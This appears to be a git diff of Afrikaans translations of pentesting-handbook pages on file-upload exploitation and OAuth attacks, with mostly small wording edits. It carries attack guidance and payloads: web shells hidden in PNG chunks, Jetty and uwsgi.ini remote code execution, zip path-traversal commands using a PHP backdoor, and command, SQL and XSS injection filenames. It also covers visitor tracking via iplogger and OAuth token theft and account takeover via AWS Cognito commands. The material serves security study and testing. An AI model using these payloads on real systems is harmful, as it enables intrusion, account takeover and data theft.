- As **kompressie by jou beeld gevoeg word**, byvoorbeeld deur sommige standaard PHP biblioteke soos [PHP-GD](https://www.php.net/manual/fr/book.image.php), sal die vorige tegnieke nie nuttig wees nie. Jy kan egter die **PLTE chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
|
||||
- [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- Die webblad kan ook die **beeld** **herverhouding**, byvoorbeeld deur die PHP-GD funksies `imagecopyresized` of `imagecopyresampled` te gebruik. Jy kan egter die **IDAT chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
|
||||
- Die webblad kan ook die **beeld** **hervergroting**, byvoorbeeld deur die PHP-GD funksies `imagecopyresized` of `imagecopyresampled` te gebruik. Jy kan egter die **IDAT chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
|
||||
- [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- 'n Ander tegniek om 'n payload te maak wat **'n beeld herverhouding oorleef**, deur die PHP-GD funksie `thumbnailImage`. Jy kan egter die **tEXt chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
|
||||
- 'n Ander tegniek om 'n payload te maak wat **'n beeld hervergroting oorleef**, deur die PHP-GD funksie `thumbnailImage`. Jy kan egter die **tEXt chunk** [**tegniek hier gedefinieer**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) gebruik om teks in te voeg wat **kompressie sal oorleef**.
|
||||
- [**Github met die kode**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### Ander Trukke om te kontroleer
|
||||
### Ander Tricks om te kontroleer
|
||||
|
||||
- Vind 'n kwesbaarheid om die lêer wat reeds opgelaai is te **hernoem** (om die uitbreiding te verander).
|
||||
- Vind 'n **Plaaslike Lêer Insluiting** kwesbaarheid om die backdoor uit te voer.
|
||||
@ -85,20 +85,20 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
4. Laai 'n lêer op wat dalk nie maklik verwyder kan word nie, soos **“…:.jpg”** in **NTFS**. (Windows)
|
||||
5. Laai 'n lêer op in **Windows** met **ongeldige karakters** soos `|<>*?”` in sy naam. (Windows)
|
||||
6. Laai 'n lêer op in **Windows** met **gereserveerde** (**verbode**) **name** soos CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, en LPT9.
|
||||
- Probeer ook om 'n **uitvoerbare** (.exe) of 'n **.html** (minder verdag) op te laai wat **kode sal uitvoer** wanneer dit per ongeluk deur die slagoffer geopen word.
|
||||
- Probeer ook om 'n **uitvoerbare lêer** (.exe) of 'n **.html** (minder verdag) op te laai wat **kode sal uitvoer** wanneer dit per ongeluk deur die slagoffer geopen word.
|
||||
|
||||
### Spesiale uitbreiding truuks
|
||||
### Spesiale uitbreiding tricks
|
||||
|
||||
As jy probeer om lêers na 'n **PHP bediener** op te laai, [kyk na die **.htaccess** truuk om kode uit te voer](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
As jy probeer om lêers na 'n **ASP bediener** op te laai, [kyk na die **.config** truuk om kode uit te voer](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
As jy probeer om lêers na 'n **PHP bediener** op te laai, [kyk na die **.htaccess** trick om kode uit te voer](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
As jy probeer om lêers na 'n **ASP bediener** op te laai, [kyk na die **.config** trick om kode uit te voer](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
Die `.phar` lêers is soos die `.jar` vir java, maar vir php, en kan **gebruik word soos 'n php lêer** (dit met php uitvoer, of dit binne 'n skrip insluit...)
|
||||
|
||||
Die `.inc` uitbreiding word soms gebruik vir php lêers wat slegs gebruik word om **lêers in te voer**, so, op 'n stadium, kon iemand **toelaat dat hierdie uitbreiding uitgevoer word**.
|
||||
Die `.inc` uitbreiding word soms gebruik vir php lêers wat slegs gebruik word om **lêers in te voer**, so, op 'n stadium, kon iemand **hierdie uitbreiding toegelaat het om uitgevoer te word**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
As jy 'n XML-lêer in 'n Jetty-bediener kan oplaai, kan jy [RCE verkry omdat **nuwe \*.xml en \*.war outomaties verwerk word**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Soos genoem in die volgende beeld, laai die XML-lêer op na `$JETTY_BASE/webapps/` en verwag die shell!
|
||||
As jy 'n XML-lêer na 'n Jetty-bediener kan oplaai, kan jy [RCE verkry omdat **nuwe \*.xml en \*.war outomaties verwerk word**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Soos genoem in die volgende beeld, laai die XML-lêer na `$JETTY_BASE/webapps/` en verwag die shell!
|
||||
|
||||
.png>)
|
||||
|
||||
@ -106,7 +106,7 @@ As jy 'n XML-lêer in 'n Jetty-bediener kan oplaai, kan jy [RCE verkry omdat **n
|
||||
|
||||
Vir 'n gedetailleerde verkenning van hierdie kwesbaarheid, kyk na die oorspronklike navorsing: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Afgeleë Opdrag Uitvoering (RCE) kwesbaarhede kan in uWSGI bedieners benut word as iemand die vermoë het om die `.ini` konfigurasielêer te wysig. uWSGI konfigurasielêers maak gebruik van 'n spesifieke sintaksis om "magiese" veranderlikes, plekhouers en operateurs in te sluit. Veral, die '@' operateur, wat gebruik word as `@(filename)`, is ontwerp om die inhoud van 'n lêer in te sluit. Onder die verskillende ondersteunde skemas in uWSGI is die "exec" skema veral kragtig, wat die lees van data van 'n proses se standaarduitset toelaat. Hierdie kenmerk kan gemanipuleer word vir slegte doeleindes soos Afgeleë Opdrag Uitvoering of Willekeurige Lêer Skryf/Lees wanneer 'n `.ini` konfigurasielêer verwerk word.
|
||||
Afgeleë Opdrag Uitvoering (RCE) kwesbaarhede kan in uWSGI bedieners benut word as iemand die vermoë het om die `.ini` konfigurasielêer te wysig. uWSGI konfigurasielêers maak gebruik van 'n spesifieke sintaksis om "magic" veranderlikes, plekhouers, en operateurs in te sluit. Veral, die '@' operateur, wat gebruik word as `@(filename)`, is ontwerp om die inhoud van 'n lêer in te sluit. Onder die verskillende ondersteunde skemas in uWSGI, is die "exec" skema veral kragtig, wat die lees van data van 'n proses se standaarduitset toelaat. Hierdie kenmerk kan gemanipuleer word vir slegte doeleindes soos Afgeleë Opdrag Uitvoering of Arbitrêre Lêer Skryf/Lees wanneer 'n `.ini` konfigurasielêer verwerk word.
|
||||
|
||||
Oorweeg die volgende voorbeeld van 'n skadelike `uwsgi.ini` lêer, wat verskeie skemas toon:
|
||||
```ini
|
||||
@ -156,7 +156,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
Let wel dat **'n ander opsie** wat jy dalk oorweeg om hierdie kontrole te omseil, is om die **HTTP-bediener te laat herlei na 'n ander lêer**, sodat die aanvanklike URL die kontrole sal omseil en dan wget die herleide lêer met die nuwe naam sal aflaai. Dit **sal nie werk nie** **tenzij** wget gebruik word met die **parameter** `--trust-server-names` omdat **wget die herleide bladsy met die naam van die lêer wat in die oorspronklike URL aangedui is, sal aflaai**.
|
||||
Let wel dat **'n ander opsie** wat jy dalk oorweeg om hierdie kontrole te omseil, is om die **HTTP-bediener te laat herlei na 'n ander lêer**, sodat die aanvanklike URL die kontrole sal omseil en dan sal wget die herleide lêer met die nuwe naam aflaai. Dit **sal nie werk nie** **tenzij** wget gebruik word met die **parameter** `--trust-server-names` omdat **wget die herleide bladsy met die naam van die lêer wat in die oorspronklike URL aangedui is, sal aflaai**.
|
||||
|
||||
## Gereedskap
|
||||
|
||||
@ -164,17 +164,17 @@ Let wel dat **'n ander opsie** wat jy dalk oorweeg om hierdie kontrole te omseil
|
||||
|
||||
## Van lêeroplaad na ander kwesbaarhede
|
||||
|
||||
- Stel **lêernaam** in op `../../../tmp/lol.png` en probeer om 'n **pad traversie** te bereik
|
||||
- Stel **lêernaam** in op `../../../tmp/lol.png` en probeer om 'n **pad traversering** te bereik
|
||||
- Stel **lêernaam** in op `sleep(10)-- -.jpg` en jy mag in staat wees om 'n **SQL-inspuiting** te bereik
|
||||
- Stel **lêernaam** in op `<svg onload=alert(document.domain)>` om 'n XSS te bereik
|
||||
- Stel **lêernaam** in op `; sleep 10;` om 'n paar opdraginspuitings te toets (meer [opdraginspuitings truuks hier](../command-injection.md))
|
||||
- Stel **lêernaam** in op `; sleep 10;` om 'n paar opdraginspuiting te toets (meer [opdraginspuiting truuks hier](../command-injection.md))
|
||||
- [**XSS** in beeld (svg) lêeroplaad](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||
- **JS** lêer **oplaad** + **XSS** = [**Service Workers** benutting](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||
- [**XXE in svg oplaad**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**Open Redirect** deur die oplaad van svg lêer](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- Probeer **verskillende svg payloads** van [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||
- [Beroemde **ImageTrick** kwesbaarheid](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- As jy **die webbediener kan aandui om 'n beeld van 'n URL te vang**, kan jy probeer om 'n [SSRF](../ssrf-server-side-request-forgery/index.html) te misbruik. As hierdie **beeld** in 'n of ander **publieke** webwerf **gestoor** gaan word, kan jy ook 'n URL van [https://iplogger.org/invisible/](https://iplogger.org/invisible/) aandui en **inligting van elke besoeker steel**.
|
||||
- As jy **die webbediener kan aandui om 'n beeld van 'n URL te vang**, kan jy probeer om 'n [SSRF](../ssrf-server-side-request-forgery/index.html) te misbruik. As hierdie **beeld** gaan **gestoor** word op 'n **publieke** webwerf, kan jy ook 'n URL van [https://iplogger.org/invisible/](https://iplogger.org/invisible/) aandui en **inligting van elke besoeker steel**.
|
||||
- [**XXE en CORS** omseiling met PDF-Adobe oplaad](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- Spesiaal saamgestelde PDFs vir XSS: Die [volgende bladsy toon hoe om **PDF-data in te spuit om JS-uitvoering te verkry**](../xss-cross-site-scripting/pdf-injection.md). As jy PDFs kan oplaai, kan jy 'n paar PDF's voorberei wat arbitrêre JS sal uitvoer volgens die gegewe aanwysings.
|
||||
- Laai die \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) inhoud op om te kyk of die bediener enige **antivirus** het
|
||||
@ -208,7 +208,7 @@ Verwys na [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wik
|
||||
|
||||
### Zip/Tar Lêer Outomaties gedecomprimeerde Oplaad
|
||||
|
||||
As jy 'n ZIP kan oplaai wat binne die bediener gedecomprimeer gaan word, kan jy 2 dinge doen:
|
||||
As jy 'n ZIP kan oplaai wat binne die bediener gaan gedecomprimeer word, kan jy 2 dinge doen:
|
||||
|
||||
#### Symlink
|
||||
|
||||
@ -218,11 +218,11 @@ ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### Decomprimeer in verskillende vouers
|
||||
### Decompress in different folders
|
||||
|
||||
Die onverwagte skepping van lêers in gidse tydens dekompressie is 'n beduidende probleem. Ten spyte van aanvanklike aannames dat hierdie opstelling dalk teen OS-vlak opdraguitvoering deur kwaadwillige lêeroplaaie kan beskerm, kan die hiërargiese kompressieondersteuning en gidse traversering vermoëns van die ZIP-argiefformaat uitgebuit word. Dit stel aanvallers in staat om beperkings te omseil en veilige oplaai-gidse te ontsnap deur die dekompressiefunksionaliteit van die geteikende toepassing te manipuleer.
|
||||
|
||||
'n Geoutomatiseerde uitbuiting om sulke lêers te vervaardig is beskikbaar by [**evilarc op GitHub**](https://github.com/ptoomey3/evilarc). Die nut kan soos volg gebruik word:
|
||||
'n Geoutomatiseerde uitbuiting om sulke lêers te vervaardig is beskikbaar by [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Die nut kan soos volg gebruik word:
|
||||
```python
|
||||
# Listing available options
|
||||
python2 evilarc.py -h
|
||||
@ -270,7 +270,7 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
|
||||
3. **Wysiging met 'n Hex Editor of vi**: Die name van die lêers binne die zip word verander met vi of 'n hex editor, wat "xxA" na "../" verander om directories te traverse.
|
||||
3. **Wysiging met 'n Hex Editor of vi**: Die name van die lêers binne die zip word verander met vi of 'n hex editor, wat "xxA" na "../" verander om deur gidse te beweeg.
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
@ -291,7 +291,7 @@ pop graphic-context
|
||||
|
||||
Inbedde 'n PHP shell in die IDAT-gedeelte van 'n PNG-lêer kan effektief sekere beeldverwerkingsoperasies omseil. Die funksies `imagecopyresized` en `imagecopyresampled` van PHP-GD is veral relevant in hierdie konteks, aangesien hulle algemeen gebruik word om beelde te hergroei en te hersampel. Die vermoë van die ingeslote PHP shell om onaangeraak deur hierdie operasies te bly, is 'n beduidende voordeel vir sekere gebruiksgevalle.
|
||||
|
||||
'n Gedetailleerde verkenning van hierdie tegniek, insluitend sy metodologie en potensiële toepassings, word in die volgende artikel verskaf: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Hierdie hulpbron bied 'n omvattende begrip van die proses en sy implikasies.
|
||||
'n Gedetailleerde verkenning van hierdie tegniek, insluitend die metodologie en potensiële toepassings, word in die volgende artikel verskaf: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Hierdie hulpbron bied 'n omvattende begrip van die proses en sy implikasies.
|
||||
|
||||
Meer inligting in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
OAuth bied verskeie weergawes, met fundamentele insigte beskikbaar by [OAuth 2.0 dokumentasie](https://oauth.net/2/). Hierdie bespreking fokus hoofsaaklik op die algemeen gebruikte [OAuth 2.0 magtigingskode toekennings tipe](https://oauth.net/2/grant-types/authorization-code/), wat 'n **magtigingsraamwerk bied wat 'n toepassing in staat stel om toegang te verkry of aksies op 'n gebruiker se rekening in 'n ander toepassing uit te voer** (die magtigingsbediener).
|
||||
|
||||
Dink aan 'n hipotetiese webwerf _**https://example.com**_, ontwerp om **al jou sosiale media plasings te vertoon**, insluitend privaat ones. Om dit te bereik, word OAuth 2.0 gebruik. _https://example.com_ sal jou toestemming vra om **toegang tot jou sosiale media plasings** te verkry. Gevolglik sal 'n toestemmingskerm op _https://socialmedia.com_ verskyn, wat die **toestemmings wat aangevra word en die ontwikkelaar wat die versoek doen** uiteensit. Na jou magtiging, verkry _https://example.com_ die vermoë om **jou plasings namens jou te benader**.
|
||||
Dink aan 'n hipotetiese webwerf _**https://example.com**_, ontwerp om **al jou sosiale media plasings te vertoon**, insluitend privaat ones. Om dit te bereik, word OAuth 2.0 gebruik. _https://example.com_ sal jou toestemming vra om **toegang tot jou sosiale media plasings** te verkry. Gevolglik sal 'n toestemming skerm verskyn op _https://socialmedia.com_, wat die **toestemmings wat aangevra word en die ontwikkelaar wat die aanvraag doen** uiteensit. Na jou magtiging, verkry _https://example.com_ die vermoë om **jou plasings namens jou te benader**.
|
||||
|
||||
Dit is noodsaaklik om die volgende komponente binne die OAuth 2.0 raamwerk te verstaan:
|
||||
|
||||
@ -18,8 +18,8 @@ Dit is noodsaaklik om die volgende komponente binne die OAuth 2.0 raamwerk te ve
|
||||
- **client_secret:** 'n Vertroulike sleutel, bekend slegs aan die toepassing en die magtigingsbediener, wat gebruik word om `access_tokens` te genereer.
|
||||
- **response_type**: 'n Waarde wat **die tipe token wat aangevra word** spesifiseer, soos `code`.
|
||||
- **scope**: Die **vlak van toegang** wat die `client application` van die `resource owner` aan vra.
|
||||
- **redirect_uri**: Die **URL waarnatoe die gebruiker na magtiging omgelei word**. Dit moet tipies ooreenstem met die vooraf geregistreerde omleidings-URL.
|
||||
- **state**: 'n parameter om **data oor die gebruiker se omleiding na en van die magtigingsbediener te handhaaf**. Die uniekheid daarvan is krities om as 'n **CSRF beskermingsmeganisme** te dien.
|
||||
- **redirect_uri**: Die **URL waarnatoe die gebruiker herlei word na magtiging**. Dit moet tipies ooreenstem met die vooraf geregistreerde herlei URL.
|
||||
- **state**: 'n parameter om **data te handhaaf oor die gebruiker se herleiding na en van die magtigingsbediener**. Die uniekheid daarvan is krities om as 'n **CSRF beskermingsmeganisme** te dien.
|
||||
- **grant_type**: 'n parameter wat **die toekennings tipe en die tipe token wat teruggegee moet word** aandui.
|
||||
- **code**: Die magtigingskode van die `authorization server`, wat saam met `client_id` en `client_secret` deur die kliënttoepassing gebruik word om 'n `access_token` te verkry.
|
||||
- **access_token**: Die **token wat die kliënttoepassing gebruik vir API versoeke** namens die `resource owner`.
|
||||
@ -39,7 +39,7 @@ https://socialmedia.com/auth
|
||||
&scope=readPosts
|
||||
&state=randomString123
|
||||
```
|
||||
3. Jy word dan met 'n toestemmingsbladsy voorgestel.
|
||||
3. Jy word dan met 'n toestemmingsbladsy voorgelê.
|
||||
4. Na jou goedkeuring, stuur Sosiale Media 'n antwoord na die `redirect_uri` met die `code` en `state` parameters:
|
||||
```
|
||||
https://example.com?code=uniqueCode123&state=randomString123
|
||||
@ -66,7 +66,7 @@ Vir diegene wat 'n OpenID-bediener teiken, lys die ontdekking eindpunt (`**.well
|
||||
|
||||
### XSS in redirect implementasie <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Soos genoem in hierdie bug bounty verslag [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) mag dit moontlik wees dat die redirect **URL in die antwoord** van die bediener na die gebruiker se outentisering **reflekteer**, wat **kwesbaar is vir XSS**. Moontlike payload om te toets:
|
||||
Soos genoem in hierdie bug bounty verslag [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) mag dit moontlik wees dat die redirect **URL in die antwoord** van die bediener na die gebruiker se outentisering **reflekteer**, wat **kwesbaar is vir XSS**. Moglike payload om te toets:
|
||||
```
|
||||
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
|
||||
```
|
||||
@ -76,7 +76,7 @@ In OAuth implementasies kan die misbruik of omissie van die **`state` parameter*
|
||||
|
||||
Aanvallers kan dit benut deur die magtiging proses te onderskep om hul rekening met 'n slagoffer se rekening te koppel, wat kan lei tot potensiële **rekening oorname**. Dit is veral krities in toepassings waar OAuth vir **authentikasie doeleindes** gebruik word.
|
||||
|
||||
Werklike voorbeelde van hierdie kwesbaarheid is gedokumenteer in verskeie **CTF uitdagings** en **hacking platforms**, wat die praktiese implikasies daarvan uitlig. Die probleem strek ook tot integrasies met derdeparty dienste soos **Slack**, **Stripe**, en **PayPal**, waar aanvallers kennisgewings of betalings na hul rekeninge kan herlei.
|
||||
Werklike voorbeelde van hierdie kwesbaarheid is gedokumenteer in verskeie **CTF uitdagings** en **hacking platforms**, wat die praktiese implikasies daarvan beklemtoon. Die probleem strek ook tot integrasies met derdeparty dienste soos **Slack**, **Stripe**, en **PayPal**, waar aanvallers kennisgewings of betalings na hul rekeninge kan herlei.
|
||||
|
||||
Behoorlike hantering en verifikasie van die **`state` parameter** is van kardinale belang om teen CSRF te beskerm en die OAuth vloei te beveilig.
|
||||
|
||||
@ -87,9 +87,9 @@ Behoorlike hantering en verifikasie van die **`state` parameter** is van kardina
|
||||
|
||||
### Onthulling van Geheime <a href="#e177" id="e177"></a>
|
||||
|
||||
Identifisering en beskerming van geheime OAuth parameters is van kardinale belang. Terwyl die **`client_id`** veilig bekend gemaak kan word, hou die onthulling van die **`client_secret`** aansienlike risiko's in. As die `client_secret` gecompromitteer word, kan aanvallers die identiteit en vertroue van die toepassing misbruik om **gebruikers `access_tokens`** en private inligting te **steel**.
|
||||
Identifisering en beskerming van geheime OAuth parameters is van kardinale belang. Terwyl die **`client_id`** veilig onthul kan word, hou die onthulling van die **`client_secret`** aansienlike risiko's in. As die `client_secret` gecompromitteer word, kan aanvallers die identiteit en vertroue van die toepassing benut om **gebruikers `access_tokens`** en private inligting te **steel**.
|
||||
|
||||
'n Algemene kwesbaarheid ontstaan wanneer toepassings per ongeluk die uitruil van die magtiging `code` vir 'n `access_token` aan die kliëntkant hanteer eerder as die bedienerkant. Hierdie fout lei tot die blootstelling van die `client_secret`, wat dit aanvallers moontlik maak om `access_tokens` onder die dekmantel van die toepassing te genereer. Boonop, deur sosiale ingenieurswese, kan aanvallers voorregte verhoog deur addisionele skope aan die OAuth magtiging toe te voeg, wat die toepassing se vertroude status verder misbruik.
|
||||
'n Algemene kwesbaarheid ontstaan wanneer toepassings per ongeluk die uitruil van die magtiging `code` vir 'n `access_token` aan die kliëntkant hanteer eerder as die bedienerkant. Hierdie fout lei tot die blootstelling van die `client_secret`, wat dit aanvallers moontlik maak om `access_tokens` onder die dekmantel van die toepassing te genereer. Boonop, deur sosiale ingenieurswese, kan aanvallers voorregte verhoog deur addisionele skope aan die OAuth magtiging toe te voeg, wat die toepassing se vertroude status verder benut.
|
||||
|
||||
### Kliënt Geheim Bruteforce
|
||||
|
||||
@ -110,13 +110,13 @@ Sodra die kliënt die **code en state** het, as dit **binne die Referer header w
|
||||
|
||||
### Toegangstoken gestoor in Bladsygeskiedenis
|
||||
|
||||
Gaan na die **bladsygeskiedenis en kyk of die toegangstoken daar gestoor is**.
|
||||
Gaan na die **bladsygeskiedenis en kyk of die toegangstoken daarin gestoor is**.
|
||||
|
||||
### Ewige Outeurskode
|
||||
|
||||
Die **auteurskode moet net vir 'n kort tydjie bestaan om die tydsvenster te beperk waar 'n aanvaller dit kan steel en gebruik**.
|
||||
Die **auteurskode moet net vir 'n kort tydjie bestaan om die tydsvenster te beperk waarbinne 'n aanvaller dit kan steel en gebruik**.
|
||||
|
||||
### Auteurs-/Herlaai Token nie aan kliënt gebind nie
|
||||
### Outeurs-/Herlaai Token nie aan kliënt gebind nie
|
||||
|
||||
As jy die **auteurskode kan kry en dit met 'n ander kliënt kan gebruik, kan jy ander rekeninge oorneem**.
|
||||
|
||||
@ -126,7 +126,7 @@ As jy die **auteurskode kan kry en dit met 'n ander kliënt kan gebruik, kan jy
|
||||
|
||||
### AWS Cognito <a href="#bda5" id="bda5"></a>
|
||||
|
||||
In hierdie bug bounty verslag: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) kan jy sien dat die **token** wat **AWS Cognito** aan die gebruiker teruggee, **voldoende regte mag hê om die gebruikersdata te oorskryf**. Daarom, as jy die **gebruikers e-pos vir 'n ander gebruikers e-pos kan verander**, mag jy in staat wees om **ander** rekeninge **oor te neem**.
|
||||
In hierdie foutbounty verslag: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) kan jy sien dat die **token** wat **AWS Cognito** aan die gebruiker teruggee, **voldoende regte mag hê om die gebruikersdata te oorskryf**. Daarom, as jy die **gebruikers e-pos vir 'n ander gebruikers e-pos kan verander**, mag jy in staat wees om **ander** rekeninge oor te neem.
|
||||
```bash
|
||||
# Read info of the user
|
||||
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
|
||||
@ -153,7 +153,7 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticat
|
||||
|
||||
Soos [**genoem in hierdie skrywe**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), OAuth vloei wat verwag om die **token** (en nie 'n kode nie) te ontvang, kan kwesbaar wees as hulle nie nagaan dat die token aan die app behoort nie.
|
||||
|
||||
Dit is omdat 'n **aanvaller** 'n **aansoek kan skep wat OAuth ondersteun en met Facebook kan aanmeld** (byvoorbeeld) in sy eie aansoek. Dan, sodra 'n slagoffer met Facebook in die **aanvaller se aansoek** aanmeld, kan die aanvaller die **OAuth token van die gebruiker wat aan sy aansoek gegee is, verkry en dit gebruik om in die slagoffer se OAuth aansoek aan te meld met die slagoffer se gebruikers token**.
|
||||
Dit is omdat 'n **aanvaller** 'n **aansoek wat OAuth ondersteun en met Facebook aanmeld** (byvoorbeeld) in sy eie aansoek kan skep. Dan, sodra 'n slagoffer met Facebook in die **aanvaller se aansoek** aanmeld, kan die aanvaller die **OAuth token van die gebruiker wat aan sy aansoek gegee is, verkry en dit gebruik om in die slagoffer se OAuth aansoek aan te meld met die slagoffer se gebruikers token**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Daarom, as die aanvaller daarin slaag om die gebruiker toegang te gee tot sy eie OAuth aansoek, sal hy in staat wees om die slagoffer se rekening in aansoeke wat 'n token verwag en nie nagaan of die token aan hul app ID toegeken is nie, oor te neem.
|
||||
@ -162,11 +162,11 @@ Dit is omdat 'n **aanvaller** 'n **aansoek kan skep wat OAuth ondersteun en met
|
||||
|
||||
Volgens [**hierdie skrywe**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), was dit moontlik om 'n slagoffer 'n bladsy te laat oopmaak met 'n **returnUrl** wat na die aanvaller se gasheer wys. Hierdie inligting sou **in 'n koekie (RU)** gestoor word en in 'n **latere stap** sal die **prompt** die **gebruiker** vra of hy toegang wil gee tot daardie aanvaller se gasheer.
|
||||
|
||||
Om hierdie prompt te omseil, was dit moontlik om 'n oortjie te open om die **Oauth vloei** te begin wat hierdie RU koekie met die **returnUrl** sou stel, die oortjie te sluit voordat die prompt vertoon word, en 'n nuwe oortjie te open sonder daardie waarde. Dan, die **prompt sal nie oor die aanvaller se gasheer inligting gee nie**, maar die koekie sou daartoe gestel word, sodat die **token na die aanvaller se gasheer gestuur sal word** in die herleiding.
|
||||
Om hierdie prompt te omseil, was dit moontlik om 'n tab te open om die **Oauth vloei** te begin wat hierdie RU koekie met die **returnUrl** sou stel, die tab te sluit voordat die prompt vertoon word, en 'n nuwe tab te open sonder daardie waarde. Dan, die **prompt sal nie oor die aanvaller se gasheer inligting gee nie**, maar die koekie sal aan dit toegeken word, sodat die **token na die aanvaller se gasheer gestuur sal word** in die herleiding.
|
||||
|
||||
### Prompt Interaksie Omseiling <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Soos verduidelik in [**hierdie video**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), laat sommige OAuth implementasies toe om die **`prompt`** GET parameter as None (**`&prompt=none`**) aan te dui om **te voorkom dat gebruikers gevra word om die gegewe toegang in 'n prompt op die web te bevestig as hulle reeds in die platform aangemeld is.**
|
||||
Soos verduidelik in [**hierdie video**](https://www.youtube.com/watch?v=n9x7_J_a_7Q), laat sommige OAuth implementasies toe om die **`prompt`** GET parameter as None (**`&prompt=none`**) aan te dui om **te voorkom dat gebruikers gevra word om die gegewe toegang in 'n prompt op die web te bevestig as hulle reeds in die platform aangemeld is**.
|
||||
|
||||
### response_mode
|
||||
|
||||
@ -188,7 +188,7 @@ Hierdie [**blogpos**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) be
|
||||
1. Slagoffer toegang tot die aanvaller se webblad
|
||||
2. Die slagoffer open die kwaadwillige skakel en 'n opener begin die Google OAuth vloei met `response_type=id_token,code&prompt=none` as bykomende parameters met die **verwysing die aanvaller se webwerf**.
|
||||
3. In die opener, nadat die verskaffer die slagoffer goedgekeur het, stuur dit hulle terug na die waarde van die `redirect_uri` parameter (slagoffer web) met 30X kode wat steeds die aanvaller se webwerf in die verwysing hou.
|
||||
